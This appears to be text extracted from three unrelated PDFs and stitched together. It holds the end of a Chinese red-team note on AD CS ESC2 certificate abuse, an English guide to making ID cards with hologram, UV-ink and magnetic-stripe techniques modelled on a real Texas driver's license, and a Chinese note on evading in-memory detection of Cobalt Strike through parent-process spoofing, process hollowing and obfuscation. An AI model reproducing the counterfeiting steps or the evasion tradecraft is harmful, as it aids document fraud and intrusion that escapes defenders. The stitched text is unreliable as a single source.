没有变化。从ESC2被作者在06/22/21二次编辑修改过,我斗胆猜测是作者开始也搞错了,但是已经分类 成ESC2了就留着吧!最后作者补充道,我们可以使用这些证书干其他的事情比如在SAML, AD FS, or IPSec等网络服务上利用。具体在这些服务上能够出现什么利用场景,就需要大家挖掘了,ESC2总体来 说就是当前用户拥有了请求各种证书的能力,具体发挥场景还需要自己思考。 除Any Purpose以外,另外一个是no EKUs,就是应用程序策略为空。在为空的时候攻击可以签署一个 从属CA证书,在这个从属CA中,攻击者可以任意修改EKU和其他属性,但是这个从属CA证书默认是不 被信任的(也就是在NTAuthCertificates的cACertificate中没有这个从属证书),那么就没法登录域控。 最后感觉和Any Purpose一样,就是可以获取各种证书的能力。 总体来说这个ESC2有点扯淡。不过后面还有很多内容,说不定,后面有给出从属CA的利用场景。我们回 顾下ESC2和ESC1的区别就是使用者名称能不能自定义的问题,能自定义就能伪造成域管理员,因此这个 配置是能够提权的关键。 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 3 / 4 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 4 / 4 - Welcome to www.red-team.cn
pdf
T H E C O M P L E T E A M A T E U R 1 ID Making Operating Guide by Doug Farre For Informational Purposes Only : An introduction and word of caution I want to start off by saying that none of the information outlined in this guide should be used in the process of manufacturing fraudulent identification cards. Although real government issued documents may be used as examples, they should only be used as examples to what you may model your identification cards like. The use the of the information in this document for the purpose of producing fake or fraudulent IDs would be criminal and I strongly advise against it. Let’s start off by describing the Texas fake ID laws, in an attempt to dissuade you further. The following was quoted from http://www.smu.edu/healthcenter/ alcoholeducation/adp_fakeid.asp P O S S E S S I O N O F F A K E IDENTIFICATION Section 521.453, Transportation Code Under 21 Years of Age: Class C Misdemeanor (Up to $500 Fine) A person under the age of 21 years commits an offense if the person possesses, with the intent to represent that the person is 21 years of age or older, a document that is deceptively similar to a driver's license or personal identification certificate unless the document displays the statement "NOT A GOVERNMENT DOCUMENT" diagonally...on both the front and back of the document in solid red capital letters at least 1/4 inch in height. The document is deceptively similar if a reasonable person would assume the document was issued by DPS, another agency of this state, another state, or the United States. Section 521.456 Transportation Code: Class C Misdemeanor (Up to $500 Fine): A person commits an offense if the person possesses with the intent to use, circulate or passes a forged or counterfeit instrument that is not made by the appropriate authority (DPS, another agency of this state, another state, or the United Stated). DELIVERY OR MANUFACTURE O F C O U N T E R F E I T IDENTIFICATION SECTION 521.456 Transportation Code: Class A Misdemeanor (Up to $4000 Fine, and/or 1 year in jail): Possesses with the intent to sell, distribute, or deliver a forged or counterfeit instrument that is not made or distributed by an authority authorized to do so under a state, federal, or Canadian law. Third Degree Felony (2-10 years in State Penitentiary): Manufactures or produces with the intent to sell, distribute, or deliver a forged or counterfeit instrument that the person knows is not made by the appropriate authority. T A M P E R I N G W I T H GOVERNMENTAL RECORD Texas Penal Code, Section 37.10 Felony, Third Degree: An offense under this section is a felony of the third degree if it is shown on the trial of the offense that the governmental record was a license, certificate, permit, seal, or similar document issued by government, by another state, or by the United States. MISREPRESENTATION OF AGE Alcoholic Beverage Code, Section 106.07 A minor commits an offense if he falsely states that he is 21 years of age or older or presents any document that indicates he is 21 years of age or older to a person engaging in selling or serving alcoholic beverages. So basically you’re looking at a Class C for having one, a Class A for selling one, and a Third Degree felony for making one. I D M A K I N G O P E R A T I N G G U I D E 2 We will start with a high level overview of the process, and then go into the details in the second part. It is strongly suggested you read the entire guide from start to finish several times before starting on your document making process. At this point you have to ask yourself the purpose of your identification manufacturing scheme. Most reasons would probably fall along the lines listed below: Produce high security identification documents for your organization, small business, or club. To start off the process of manufacturing your new identification cards, your first step will be to acquire/create/ develop a template. Below is an example of an AAMVA approved drivers license that contains all necessary attributes you should consider when creating your own personalized template for your venture. PART ONE: The Process : An Overview I D M A K I N G O P E R A T I N G G U I D E 3 When creating your template, it will be a good idea to make it so each text field can be edited individually. The most common eye color codes are as follows: COLOR CODE Brown BRN Blue BLU Green GRN Black BLK Hazel HZL Some security features will most likely be impossible to reproduce without the proper equipment. For instance, take a look at the scanned image of a real Texas driver’s license below: Now, if you look very closely at the portrait image you will see yellow diagonal lines running from the bottom left to the top right. This is an important security feature that only emerges when the driver’s license is scanned on an image scanner. This type of security will be hard to implement into your ID template. In the rest of the guide, I will use the template that I created for the organization Locksport International. This guide will explain how I use amateur techniques to create a high security membership card for members of my organization. Here is a picture of the template I have created: I D M A K I N G O P E R A T I N G G U I D E 4 Along with the membership card template, you will also need a few printer templates. You will want to create yourself a set of printer templates that allow you to print multiple membership cards on a single sheet; otherwise you will be wasting materials and time. The following is a picture of a print guide in Photoshop. The guides are measured so that exactly 8 membership cards can fit on the same page. The other print guide lets you print the backside of the membership card. I D M A K I N G O P E R A T I N G G U I D E 5 Here is a close up on the backside of this template. I D M A K I N G O P E R A T I N G G U I D E 6 Above the first line we have left room for a magnetic stripe for extra security and for a data application. The magnetic stripe holds whatever data you choose (usually about the individual) on three different tracks. A track is just an allocation of space where data is held. If you were talking about memory for a computer, it would be like splitting your memory stick into 3 different sections with a permanent marker. Now that we have both print guides prepared for both sides of the membership cards, we are ready to start our first batch. At this point we have prepared two sets of four identical membership cards on the print guide as seen below. Next you must figure out your printer and ink type. Unfortunately it may not be as simple as you may think. You may have to spend many hours tinkering and testing until you have reached your desired results. Printing with Teslin is much different then printing with regular copy paper or photo paper. Teslin is highly porous, synthetic paper with superior adhesion attributes. It’s also biodegradable. Teslin absorbs ink much more readily, and doesn’t produce a glossy image as you may expect. That is why correct printer settings are critical in this application. Some recommended printer settings and Teslin types are recommended below (from www.brainstormidsuply.com): PRINTER PAPER MEDIA TYPE PRINTER SETTINGS Canon S800 Inkjet Teslin Transparency Highest Resolution Epson Stylus 800 Inkjet Teslin Photo Quality Glossy Paper Highest Resolution Epson Stylus C82 Laser Teslin Matte Paper Heavyweight Photo RPM, Super MicroWeave Epson Stylus Photo 2200 Inkjet Teslin Photo Quality Glossy Paper Highest Resolution Epson Stylus Photo 820 Inkjet Teslin Photo Paper Photo 2880 dpi Color Management : OFF Edge Smoothing : OFF Epson Natural Color : OFF Epson Stylus Photo R800 Laser Teslin Matte Paper Heavyweight High Speed : OFF Select Best Photo and Vivid Color Profile HP 950C Laser Teslin Bright White Paper Highest Quality HP with pigment-based ink Inkjet Teslin T-shirt Iron-on Increase ink dispersion a notch I D M A K I N G O P E R A T I N G G U I D E 7 For our membership cards we will be using 10mil Laser Teslin 8.5x11. After printing the front of your identification cards, you are now ready to print the reverse side. Depending on your printer, you will have to reinsert the paper into the printer in the right orientation so the desired results are obtained. This is how we accomplish this: Once both sides have been printed you must decide how you will proceed with your hologram application. So insert hologram process here. (see Part Three: Hologram) Now that you have a working hologram, it is time to laminate! For our membership cards, we will be using 7 m i l Full Sheet 8.5x11 Clear Laminate Sheets for the front of the card, and the 7mil Full Sheet 8.5x11 Magnetic stripe Laminate Sheets for the back of the cards. When you put them together it will look something like this. I D M A K I N G O P E R A T I N G G U I D E 8 Getting this far has probably been a very interesting, time consuming, exciting, and frustrating experience. It’s almost time to admire all your hard work. Things really start to come together at this point but there is still quite a bit left to go as it is now time to laminate your batch. We aren’t going to go into detail here concerning lamination as it is a pretty straight forward procedure. Since most laminators are different, it will be up to you to figure out how to fine tune the heat settings on your laminator. A common problem that occurs during lamination is bubbling and deformation. To prevent these things try lowering or raising the heat. Another tip is to always place the items being laminated inside a protective pouch. This will protect both the machine and your final products. You can create your own protective pouch by laminating two pieces of Teslin on one side only. Then, when laminating, place the laminated Teslin sheets on the top and bottom of your batch, this will act as a protective pouch and will prevent deformation as well. The final step in the procedure is dye cutting. This step should be done with much care, as it will make or break your newly laminated cards. Never rush this part of the procedure, because if you mess this up, you will have to start all over. Start off by cutting the laminated batch into a workable size. In this example I cut two cards off of the main page, and cut them down so they fit inside of the dye cutter. I D M A K I N G O P E R A T I N G G U I D E 9 Next, place the uncut cards into the dye cutter and position them so they are ready to cut. This takes much practice, and there is no doubt you will mess up many times. Don’t be to hard on yourself, it takes patience and patience to get it right. Its now time for the last and final step; writing to the magnetic stripe on the back of the newly cut membership card. I D M A K I N G O P E R A T I N G G U I D E 10 To verify the magnetic stripe works, put your magnetic encoder into write mode and write all the necessary information onto the card with your choice of software. Then proceed to put the magnetic encoder into read mode and slide the card back through. I D M A K I N G O P E R A T I N G G U I D E 11 Now that we have a little background we can begin to get more technical. If you have developed your own methods then please insert them when applicable. However, this guide is a result of many thousands of hours of research time. Every combination of materials from every supplier available was tested regardless of the price. Even inquiries were made to many large government contractors who manufacture many of the AAMVA regulated drivers licenses, regarding the types of materials used. If you follow my guide without any shortcuts, your results will be stunning; guaranteed. It’s about time we start talking about equipment. You’re going to need a lot of equipment. Making ID’s is about a 10 step process. After you do it about 150 times however, it starts to come naturally. If you’re the artistic or obsessive type, you’re really going to like it. For everyone else, you’re probably going to give up. So if you think you are going to give up, then stop now. If you’re not going to give up, then you will need a moderate amount of money. Let’s start off with the printers: Printer List 1) Compatible Inkjet Printer (Epson Stylus R800 Photo Printer) If you have done your research, you will know that any Epson printer with DuraBrite ink is usually recommended in the identification card industry. This is because DuraBrite ink works especially well with Teslin. I highly recommend the Epson Stylus R800 photo printer. After experimenting with most of Epson’s printer line, I have found this to always meet my expectations. Other printers that are known to work well with Teslin are the Canon S800, Epson Stylus 800, Epson Stylus C82, Epson Stylus Photo 2200, Epson Stylus Photo 820, and HP 950C. Keep in mind that when choosing a printer it is extremely important to choose one with pigment based ink for Teslin based ID applications. Standard based ink, also known as dye based ink, has many characteristics that are not desirable for our application. Here is a chart showing you the difference between pigment based inks and standard dye based inks: PIGMENT INKS VS. STANDARD DYE INKS Particle based and does not dissolve completely in water. Water based and does dissolve completely in water. Very resistance to fading. Fades easily. Higher cost. Lower cost. Can print with laser Teslin, inkjet Teslin or Artysian synthetic printing sheets. Prints only with inkjet Teslin and Artysian synthetic printing sheets. 2) Thermal Printer (Alps MD-1300, MD- 1500, or MD-5000) This printer can only be found on eBay, as they do not make them anymore. It was introduced to the market about 15 years ago, and Alps Electronics took them off the market around 2004. In 2007 they stopped supporting these printers forever, so you can no longer get them serviced. A quote from www.alpsusa.com website says “As previously posted on March 31, 2007 Alps Electric (USA) Inc. no longer offers any support for the MD Series Printers models MD-2010/ 4000/ 2300/ 1000/ 1300/ 5000 respectively.” This machine will hook up to your desktop via an LPT printer port. It will be used to print full page holograms. If you decide you want to make holograms using the “Stamp Method” (we will discuss that later) then you will not need this printer. Expect to pay $400-$800 and don’t be surprised if you get a DOA. PART TWO: What You Need I D M A K I N G O P E R A T I N G G U I D E 12 3) HP Inkjet Printer This printer is optional and can be used to print UV ink onto your ID. Must be compatible with HP51645a inkjet cartridges. Misc. Equipment List 4) Laminator Get a decent one. Preferably one with a temperature control and metal gears. It is essential that it can fit at least 8.5 inches across minimum. So to be safe at least 10 inches across lamination surface. Don’t be afraid to spend between $250 and $450 on a laminator, as it is a very important piece of equipment. 5) Dye Cutter This tool is probably the coolest. After your ID is laminated, this is the actual device that cuts it perfectly into ID size. If this doesn’t make sense now, it will later. Buy the dye cutter from www.brainstormidsupply.com . You can buy the cheaper one for $390. Buy it sooner than later, as it takes longer to ship and is often on back order. 6) Magnetic Stripe Encoder Used to make the ID “scan.” Stay away from EBay, as many are counterfeit. Make sure it can write Hi-co and Low-co. Also tracks 1, 2, and 3. Be prepared to pay around $600, possibly more. 7) Black Light Almost all types of credit cards, security documents, and driver’s licenses use ultra violet ink for security. 8) Airbrush (optional) Advanced ID makers only. Will be discussed later. 9) Chocolate Covered Fuzzy Banana This isn’t a joke. This is an even layer spreading tool that will be able to spread fine particles out very evenly. This will be used when making the holograms. http://practicingperfection.7p.com 10) Scanner Any image scanner will do. I D M A K I N G O P E R A T I N G G U I D E 13 11) Signature Pad. A peripheral that plugs into your USB port that allows you to use a pen in the place of a mouse. Good for making signatures directly onscreen. If you want to sign a piece of paper, then use a scanner and scan the signature in instead, this will work too. 12) A copy of Adobe Photoshop Or your favorite desktop photo editing suite. However, the guide will assume you are using CS2. 13) Computer The computer must have some power. It must be able to handle multiple print jobs to several different printers at once and anywhere from 4 to 20 large Photoshop files open at any time. It must have an LPT port for the Alps printer. Do not buy an USB to LPT connector + software package as the printer and printer software will reject this connection. It has to be a real LPT port. Unless you’ve got loads of horsepower, this shouldn’t be your regular computer. Build a new one with a lot of memory. Usable Materials 14) 10mil Laser Teslin 8.5x11 Teslin is a plastic material that goes in your printer like printer paper. It absorbs ink well and bonds with the laminate glue making it a perfect material for identification cards. There are many different thicknesses and types of Teslin. After experimenting with 5mil, 7mil, 8mil, 10mil, and 14mil, we have concluded that 10mil is the best size for our application. After you become a little more experience, I recommend you switching over the Artysian 10mil material, as it has many benefits such as improved adhesion qualities and more brilliant colors. It is more money, however, so stick with the Teslin until you are ready. www.brainstormidsupply.com 15) 7mil Full Sheet 8.5x11 Magnetic stripe Laminate Sheets This 7mil thick laminate sheet is used on the backside of our ID card. The black stripes you see are magnetic material that can be written on with a magnetic stripe encoder. www.brainstormidsupply.com 16) 7mil Full Sheet 8.5x11 Clear Laminate Sheet This is the piece of laminate that goes over the front side of the ID card. We have experimented with 5mil, 5mil Matte, 5mil Lexan, 6mil Crystal, 7mil, 8m, 10mil nylon, 10mil polyester, 10mil clear, 10mil Matte, 10mil Lexan, 14mil. The 7mil from www.brainstormidsupply.com works with our combination of materials. I D M A K I N G O P E R A T I N G G U I D E 14 17) Perl-Ex Pigment Powders For our application buy 1 gram of Interference Gold and 2 grams of Sparkle Gold. Otherwise you will need to figure out your own design. http://practicingperfection.7p.com 18) Alps Finish Cartridges The Alps printer uses cartridges instead of ink. The finishing cartridges are clear and will be used to “lock in” the Pearl-Ex on the laminate when making the holograms. http://practicingperfection.7p.com 19) Green Ultraviolet Pigment powder This is used to create the UV security feature that is present on most ID cards. http://practicingperfection.7p.com 20) HP51645a Inkjet Cartridge Filled with ultraviolet ink of your choice in color. 21) Isopropyl Rubbing Alcohol Used for the airbrush hologram method. 22) Transparent base (water or acrylic based). I D M A K I N G O P E R A T I N G G U I D E 15 Making the hologram is probably the most satisfying part of the whole operation. The quality of the hologram can make or break the ID. There are two main methods of hologram making; the first method is the “Alps Printer Method” and the second method is the “Stamp Method.” After experimenting with both methods I highly recommend using the “Alps Printer Method.” Here is a table comparing the two main methods: ALPS PRINTER METHOD VS. STAMP METHOD Expensive to operate! Very inexpensive. $400-$600 Printer + 15 Dollars per finishing cartridge $25 Customized stamp at http://simonstamps.com Less time consuming You can make 8 holograms at one time. Very time consuming. Can only make a single hologram at one time. Tedious. Near perfect holograms every time and if you mess up you don’t have to throw away the Teslin, only the laminate. Very easy to mess up and have to start all over. If you mess up then the Teslin must be discarded. Not much mess to clean up. Sticky mess to clean up. Hard Ultraviolet Application Easy Ultraviolet Application Keep in mind there are also many other methods of producing holograms. Two more that I have found to work quite nicely are the: 1) “Silk Screen Method” 2) “Stencil and Air brush Method” – Not to be confused with the “Air brush Method” that allows you the print UV holograms on the Alps. The air gun has two functions it can be used for, so keep that in mind. Since these types of methods are much harder to perfect, I will not go into as much detail as I will with the other methods. However it is important to point out that if you are able to perfect the “Silk Screen Method” or the “Stencil and Air gun Method, you may find the results superior to those of the Alps or Stamp methods. Alps Printer Method: What you will need: Alps Printer Perl-Ex Pigments (For our application you will need 1 gram of Interference Gold and 2 grams of Sparkle G-old) Chocolate Covered Fuzzy Banana 7mil Full Sheet 8.5x11 Clear Laminate Sheet Alps Finish Cartridge Photoshop Hologram Template Optional safety equipment include: Gloves, Respirator, and Eye Protection. PART THREE: Hologram I D M A K I N G O P E R A T I N G G U I D E 16 I would like to start off by going into more detail about the Alps printer, as it is a very interesting machine. The Alps printer has many different uses such as micro dry printing, dye sublimation printing, photo printing, T-shirt transfers, decals and a lot more. Some the great aspects of the micro dry/dye sublimination printer are: Brighter Colors The ink transfers from the ink cartridge to the paper and is instantly dry. Water Proof and Smear Proof (these will be very important when printing our holograms) Can print on a variety of different types of mediuma; Transparencies, Inkjet and Laser paper, decal paper, and laminates. The only real problem with this printer is its total lack of speed. This machine is incredibly slow. Lucky for us, this won’t be a real issue. First, we must get our Alps working correctly. Start out by installing the printer driver and printing a test page. Do not install via the control panel, as your printer will not install correctly. You must install with the correct printer driver/software combination. You will most likely have a lot of trouble with your Alps printer but don’t give up! Once you have the printer functioning, remove all the color cartridges from the printer and install a single Alps Finish Cartridge. Now we are going to configure the printer to use the finish cartridge next time it prints. Follow these steps: 1) Control Panel -> Printers and Faxes -> Right Click on Alps Printer -> Go Down to Properties Driver Note: Alps Electronics no longer provides the driver for this printer on their website. You must find the correct software/driver combination that is compatible with Windows XP. If you try to install the original Alps software on your 2000, XP, or Vista machine it will not function correctly. There is a single Alps XP Driver floating around out there that works for MD Models 1000, 1300, 1500, 2010, 2300, 4000, 5000, 5000p. This is most likely the one you will need. I D M A K I N G O P E R A T I N G G U I D E 17 2) Under the General Tab -> Click Printing Preferences 3) Under the Document/Quality Tab -> Click the Use Spot Color(s) When the spot color settings window pops up click the "Use Spot Color(s) radio button". Next click the "Print Using" drop down box and highlight "Finish [Glossy Finish]". Click Ok. I D M A K I N G O P E R A T I N G G U I D E 18 4) Click the Paper tab -> Go down to Paper Source -> Click the "Manual Feed" radio button Once the printer has been configured, it is time to create a holographic template. For example, a state’s holograph is usually made up of the state’s crest or seal. Often times it is even as simple as just the state’s name repeated (like the Texas hologram). If you have to create your own holographic template, use your organizations seal or crest, and edit it to your own advantage. If you want to make your hologram the name of your organization, then it is just a matter of proper spacing. When you create the template file you will have to create the template so that during lamination the image is correctly shown. Here is a picture of a template file as seen on a computer monitor: Notice how the text has been inverted so that it can be printed on the back of a piece of laminate. This is so when the laminate is turned over, it looks normal. In order to take advantage of the Alps printer, we will need to apply a layer of Perl-Ex Pigment Powders. Take a mixing dish and mix 1 part Interference Gold and 2 parts Sparkle Gold. You may make your own combinations as you see fit. Use a brush or a Giant Chocolate Covered Fuzzy Banana to make a very light Peal-Ex glaze onto a piece of laminate. ALWAYS APPLY TO THE ROUGH SIDE OF THE LAMINATE. The rough side of the laminate is the side that has the glue on it. The glue will become activated during lamination. Make sure never to touch the rough side of the laminate with your fingers, otherwise you get unwanted oils and dirt on your flawless works of art. I D M A K I N G O P E R A T I N G G U I D E 19 Next, apply a very light glaze. It should be so light that when looking directly down onto the laminate you should not see any reflection of Pearl-Ex. Although, when you change the position to the light, you will see a very nice reflection. In the following picture you can see how when looking strait on to the image, all you can see is a whitish glaze. However, the top portion of the laminate that has been angled away from the light appears to be gold. The next step would be to put the piece of laminate with the Pearl-Ex facing up into the Alps printer and print your desired template. After your template has been printed, you must wash the remaining Pearl-Ex off of the laminate. You can do this in the sink with soapy water. If you leave the Pearl-Ex on the laminate for too long without washing off the excess, it will become increasingly difficult to wash as the hours go by. The Alps printer seals in the areas that had an image or text on them, so when you wash away the Pearl-Ex, an image will remain in holographic form! Unfortunately no pictures of the final product are included, as an Alps printer was not available during the making of this guide. However, I can assure you they are remarkable. I D M A K I N G O P E R A T I N G G U I D E 20 Stamp Method w/ Ultra Violet: What you will need: Customized Stamp in the shape of your hologram. (try www.simonstamp.com) Perl-Ex Pigments (our application will need 1 gram of Interference Gold and 2 grams of Sparkle Gold) Transparent base (water or acrylic based). This product is usually used for screen printing but can also be used for mixing acrylic inks etc. Aluminum Foil. Toothbrush (for cleaning the stamp) Here are some pictures of custom stamps that were created at www.simonstamp.com. They allow you to create custom graphic or text stamps that are perfect for hologram production. I D M A K I N G O P E R A T I N G G U I D E 21 The Process Now that we have all your materials ready, we can begin. 1) Start by mixing the 2 grams of Sparkle Gold, 1 gram of Interference Gold, and 1 gram of Green UV pigment powder. If you do not have those exact amounts then it is just 1 part Interference for every 2 parts Sparkle. 2) Next lay out a square piece of aluminum foil on a flat surface. 3) Place 1-5 drops of transparent base in the center of the aluminum foil along with ¼ of a teaspoon of Pearl-Ex mixture. 4) With your finger, in circular motions quickly mix the two substances together until homogenized. You must work fast. The base will dry! 5) Now for the tricky part. With your finger again, smooth the mixture over a large area of the aluminum foil extremely thin. DO NOT go over the same area with your finger too many times; otherwise you will cause that area to become too dry. It must be very, very thin, but still wet. 6) Before the mixture becomes to dry, place the stamp lightly in the center. 7) Move the stamp over to the front of the Teslin, and gently stamp it onto the front of the already printed card face. (Apply to the Teslin before it has been laminated or dye cut, but after the graphics have been printed). I D M A K I N G O P E R A T I N G G U I D E 22 Not satisfied? Practice! Also, for a nice surprise go into a dark room and shine your UV light onto your new hologram. Silkscreen and Stencil Methods: What you will need: Regular Laser Printable Transparencies Your choice of silkscreen products (PhotoEZ recommended for beginners) Hologram Template The Process 1) Print the hologram template onto a piece of Laser Printable Transparency. I D M A K I N G O P E R A T I N G G U I D E 23 2) Place transparency on to the PhotoEz exposure sheet and place in the sun for allotted time period. Follow the directions supplied by your products provider. 3) Take the PhotoEz exposure sheet and let it soak in tap water for 15 minutes. 4) Scrub sheet with toothbrush or brush until the unexposed areas become clean. 5) Now you have a new screen/ stencil which can be used in the same manner a screen printer would apply paint to a t-shirt. Instead of a t-shirt however, you would be applying the paint directly to a piece of ready to be laminated Teslin. I D M A K I N G O P E R A T I N G G U I D E 24 UV Images Via Pigment Powder– by Anonymous UV images via pigment powder applied to letter sized laminate sheets by Alps md-1300/finish cartridge method: Get an Alps md-1300; far superior to the md-1000 or md-5000. Print a sheet of your desired designs onto plain paper. Remember to flip the sheet in photoshop horizontally before you print. (so they will read backwards) This is because you'll be printing on the adhesive side of the laminate. Once it's sealed it will read the right way. Now tape the corners of the sheet to your desk or workspace taking care to ensure the sheet is completely flat. Now lay a letter sized sheet of laminate, adhesive side up, over top of it and tape the corners to your desk in the same fashion. It is important that the left side and top side align with the sheet below. But the right side and bottom are ok if not perfectly aligned. Now apply a smooth, even amount of powder onto the laminate in the general areas where the page below is printed with your designs. Then using a flat top brush spread, or smear if you will, the powder into a nice 'even' shellac over the print below and a bit extra just to be sure. Most importantly, you want to see consistent groupings of powder on the laminate sheet before sending it through the Alps printer. Not clumps or wads. The final step is to send the laminate sheet through the Alps, and print the same designs as the sheet of plain paper below was printed in black. Only this time you set the printer to print in single color mode using only the finish cartridge. Then wash the excess powder off of the laminate sheet with warm water and something soft. No need to be gentle really. The powder under the areas sealed by the finish cartridge are there to stay. And even though the powder is visible on the laminate at first, it becomes transparent upon lamination. However, under UV incandescence, the designs fluoresce brilliantly and evenly throughout. Magnificent to behold. Keep in mind that Alps printers were not designed to be used this way. However, they seem to have a high threshold for punishment, thankfully. You will want to clean the printer after every session though. An air duster is crucial. Also, print a couple of sheets of your design with a standard ink color religiously following each session as well as before switching from one color of powder to another.” -Anonymous (The author of this would like to keep his identity secure) Airbrush Method of Pearl-Ex and UV Pigment Application: What you will need: Pearl-Ex Pigment Powder mixture. UV Pigment Powder. Isopropyl alcohol. Laminate PART FOUR : Advanced Hologram and Ultraviolet Method I D M A K I N G O P E R A T I N G G U I D E 25 The Process Now that we have all your materials ready, we can begin. 1) Start by mixing the 2 grams of Sparkle Gold, 1 gram of Interference Gold, and 1 gram of Green UV pigment powder. If you do not have those exact amounts then it is just 1 part Interference for ever 2 parts Sparkle. The best part of this process is the fact that we get to use the UV Pigment Powder. Under normal applications, use of the pigment power without using an airbrush gives us very poor results.. 2) Put your mix inside the paint reservoir, and fill to the brim with isopropyl alcohol. The pigments and the alcohol will not homogenize, so constant shaking is necessary before and during application. 3) Go into a dark room and turn on the UV light. Spray an even coat of the mixture onto a piece of laminate and set it out into the sun for over 1 hour to dry. 4) Finish the hologram via the Alps Printer Method as stated above.. Invisible UV Ink Application – by Anonymous UV images via invisible ultra violet ink applied with an HP printer compatible with HP 51645A inject cartridges. You may purchase everything you need for this application at http://practicingperfection.7p.com. “First we'll start with a couple universal tips. #1. It is recommended that you clean off alcohol based, and other solvent based, ink carts print heads with an alcohol prep pad or a q-tip dipped in alcohol before each session. And for water based ink carts, clean off the print heads with a q-tip dipped in water before each session. Never use alcohol on a water based cart, or water on an alcohol based. If you do, you'll have crappy prints from then on. Don't press too hard when doing so, just light brisk strokes. #2. If it is leaving streaks, adjust the ink flow and or dry time to a lower setting. #3. If #2 doesn't work, try propping the cart up in the position it would be in when installed in the printer while leaving the print head tape and cartridge clip off for 24 hours. If this doesn't solve the problem, take off the print head sealing tape and cartridge clip and leave it propped up for another 24 hours. If there are still streaks, but there is noticeable improvement, chances are good that it will correct itself after a short time. If the streaks are still just as bad or worse, please send that cart back for a replacement. I D M A K I N G O P E R A T I N G G U I D E 26 For the porous blue and porous white carts, you should have nothing but great results with any setting combination. And you are free to run the cleaning cycles, as well as the priming cycle as you feel necessary. With the porous yellow carts you should get great results with any flow and dry time settings. Feel free to run the cleaning cycles as you feel necessary, but avoid the priming cycle 'if possible.' With the porous red and porous orange carts you may need to turn the ink flow and/or dry time down to avoid occasional streaks. But do try it all full throttle as it will produce a brighter print. Double passing may be necessary to achieve desired results. Cleaning cycles may be run 'if need be' but avoid running the prime cycle 'if possible.' With the water based yellow carts set your ink flow and dry time setting to full blast as a rule. Run the cleaning cycles 'if need be' and prime if necessary. Also is a good idea to store 'upside down' when not in use. A short and brisk shake before use may be beneficial, only as needed though. With the dye based yellow carts, both 100% pure and 3-1, set the ink flow and dry time settings to full blast as a rule. Avoid running the cleaning cycles until 'absolutely necessary' and NEVER ever run the prime cycle. If the prints are not printing in certain little areas of the page repetitively, don't worry. It will correct itself after a few prints. Simply adjust to the handicap until it's no longer an issue. Here is the procedure for fixing flow issues using the orange fill tool pictured to the right. When attempting to correct the issue, start by flipping the cart upside down with the print head up. Then dip a sponge tipped q tip in the purest alcohol you can scare up. Then gently glide the tip of the q-tip across the print head in the direction of the grain. (little parallel lines) But while gliding it across, twist the tip in a counter clockwise fashion (if you’re right handed). Then wipe or blot the tip of the q- tip off on a paper towel 'before' executing another pass. Do this a few times and then place into the orange tool. Keeping the cartridge upside down, placed in the tool nice and snug, insert the tip of the syringe into the little hole located on the tool. Make sure that there is no air inside the syringe. Now SLOWLY and OBSERVANTLY pull up on the plunger and the ink should start to bubble and spatter a bit into the syringe. Continue to pull, maybe even rotating the tip of the syringe counter then clockwise a couple times to make sure there is no more air lurking inside, until you notice that there are no more bubbles but just a steady stream of ink exiting the cart. Then stop and remove the cart from the tool. DO NOT flip the cart back to normal upright position before removing the syringe or the cart from the tool! Now repeat the entire q-tip & alcohol process again with the cart still remaining upside down. NOW flip the cart over and slap it into your printer and print a test page. If the test page print is less than desirable, follow up with the cleaning cycle and then the prime cycle if necessary. If the prints look good after the cleaning or intermediate cleaning, refrain from priming as it can 'sometimes' complicate an already satisfactory situation. A small percentage of the time really...but as the old saying goes...if it ain't broke...you know the rest. 8^)” -Anonymous (The author of this would like to keep his identity secure)
pdf
我的CS笔记之- In-memory Evasion 3 0x00 前言 前2部分,讲了侦测手法、CS payload的加载细节,这一部分主要讲怎么逃逸了,主要是使用CS自身的 C2profile来改变payload的加载行为。目前看来这些对抗手段已经是标配了,攻防对抗是一个水涨船高 的过程,标配都没搞好,天天去搞更强的对抗,就有点浮夸,我们一步一步来。 0x01 普通逃逸和CS的相关配置 在In-memory Evasion 3中逃逸主要还是围绕着In-memory Evasion 1中的3个部分展开: 我们先来回顾异常指标 线程开始地址异常 当前进程 公鸡程序常常是申请一个内存,写入公鸡代码,然后使用createThread执行这个内存地 址指针 正常程序是,创建一个函数,createThread执行这个函数,因此模仿就好了 远程线程 通过劫持一个已经存在的线程、比修改线程开始地址好(SetTheadContext) 通过LoadLibrary导入一个存在的DLL,然后在内存中替换从我们的公鸡代码,使用 CreateRemoteThread启动线程,这样看起来你似乎是在执行一个硬盘存在的正常dll 内存权限异常 避免RWX 映射页权限看上去是很合理的(映射一个DLL,并且覆盖它的内存) 内存内容异常 不要看起来像一个DLL(除非这个DLL是程序预期的情况) 混淆和删除可能被用于分析的字符串 混淆内存当代码不被使用的时候 在CS中的相关对抗方法 线程开始地址异常 使用EXE、DLL artifacts 使用Process Hollowing(x64->x86, x64->x64),CS的Post-exploitation jobs已经这样做了 避免注入到存在的远程进程 内存权限异常 避免使用artifacts(cs中哪些是artifacts,看上一篇中的表),它使用RWX权限 避免使用stagers(避免使用cs中分阶段的加载) 在C2profile中配置userwx为false 内存内容异常 在beacon的前后增加花指令 替换各种可能被作为特征的字符串 嵌入任意字符串 编辑PE头 开启混淆 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 4 - Welcome to www.red-team.cn 最后配置好了以上修改,我们怎么来检测我们配置的效果呢?Attacks -> Packages -> Windows EXE(s) ,使用raw的输出格式。然后使用一下3种命令都可以查看,我们可以对比配置前和配置后。 以上是常规的对抗规避手法,如果仅仅只是做好以上的,目前来看是,不做一定被杀,做了也不一定能 免杀,还需要更多的其他手段,才能在目前的对抗环境下生存。 0x02 进程上文和Session Prepping 进程链(也叫进程树)的异常也是被防御软件采用的一种查杀手法。这个很多小伙伴多多少少都是听说 过的,例如word.exe起一个powershell.exe或者cmd.exe,这个父子经常就容易被防御软件阻断。 那么如何来提升进程的信誉度呢?作者给出了一下几个方法: 数字证书 一个可信的父进程 不要用一个经常在攻击行动种出现的进程,例如rundll32,这个都快被用烂了。 Session Prepping这个我也不知道怎么翻译,意思是派生一个新进程,通过以下操作,让这个新进程看 上去很正常: 使用ps命令查看当前电脑的进程情况 使用ppid指定一个父进程 使用spawnto [arch] [path] 改变cs的模板进程 这考验的就是个人对异常进程链和正常进程链的理解了,例如你模板进程是werfault.exe,父进程是 explorer.exe,我们知道了父进程的pid,在spawnto指定模板进程的使用给werfault.exe加上参数: 这样看起来就比较正常,尽量模仿正常的进程树就行了,各种细节到位。这除了伪造以外,作者还想表 